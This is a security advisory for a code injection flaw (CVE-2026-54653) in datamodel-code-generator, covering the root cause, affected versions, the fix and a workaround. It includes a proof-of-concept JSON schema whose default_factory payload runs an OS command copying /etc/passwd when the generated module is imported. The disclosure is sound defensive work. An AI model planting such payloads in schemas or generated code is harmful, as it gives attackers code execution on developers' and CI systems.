high · 8.8CVE-2026-54653Jul 28, 2026

CVE-2026-54653: datamodel-code-generator Code Injection via default_factory Schema Field

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

An attacker who controls a JSON Schema, OpenAPI, or YAML file can plant arbitrary Python code inside the generated models, which then runs automatically when the output file is imported.

Packagedatamodel-code-generator
Ecosystempip
Affected>= 0.17.0, <= 0.60.1
Fixed in0.60.2
CVE-2026-54653: datamodel-code-generator Code Injection via default_factory Schema Field

The problem

datamodel-code-generator passes the value of the default_factory key from an input schema straight into generated Python source code without quoting or validation. It appears literally as Field(default_factory=<attacker value>) in the output.

Because Python evaluates that expression at class-definition time, the payload executes the moment a developer (or a CI job) does import on the generated file. No special CLI flags are required; the default invocation is enough.

Proof of concept

A working proof-of-concept for CVE-2026-54653 in datamodel-code-generator, with the exact payload below.

json
# malicious.json - supply to datamodel-codegen as a JSON Schema
{
  "$schema": "http://json-schema.org/draft-07/schema#",
  "title": "Exploit",
  "type": "object",
  "properties": {
    "data": {
      "type": "array",
      "default_factory": "__import__('os').system('cp /etc/passwd /tmp/pwned')"
    }
  }
}

# Generate the model (pydantic_v2 is the default output type):
# datamodel-codegen --input malicious.json --input-file-type jsonschema --output model.py
#
# The generator writes this into model.py:
#
#   data: list = Field(default_factory=__import__('os').system('cp /etc/passwd /tmp/pwned'))
#
# Importing model.py executes the OS call immediately.
# import model  # <- triggers RCE

The root cause is in three sink locations (pydantic_base.py:222-249, dataclass.py:211, msgspec.py:361). Each one inserts the raw schema string into the generated source with an explicit special-case that skips repr() for default_factory, meaning no escaping is applied at any sink.

The schema key default_factory is listed in DEFAULT_FIELD_KEYS, so the parser treats it as a known field extra and carries it all the way to code generation without any validation.

The fix in 0.60.2 introduces an allowlist check in get_field_extras: only the literal strings dict, list, and set are accepted as default_factory values. Anything else raises a generator error before any source file is written. CWE-94 (Code Injection) and CWE-1336 (Template Engine Injection) both apply.

The fix

Upgrade to datamodel-code-generator 0.60.2 or later. If an immediate upgrade is not possible, pass --output-model-type typing.TypedDict; TypedDict output does not render Field() calls and silently drops default_factory, so it is not affected. All other output model types (pydantic_v2.BaseModel, dataclasses.dataclass, msgspec.Struct) remain vulnerable on older versions.

Reported by Hamza Haroon (thegr1ffyn).

References: [1][2][3][4]

Related research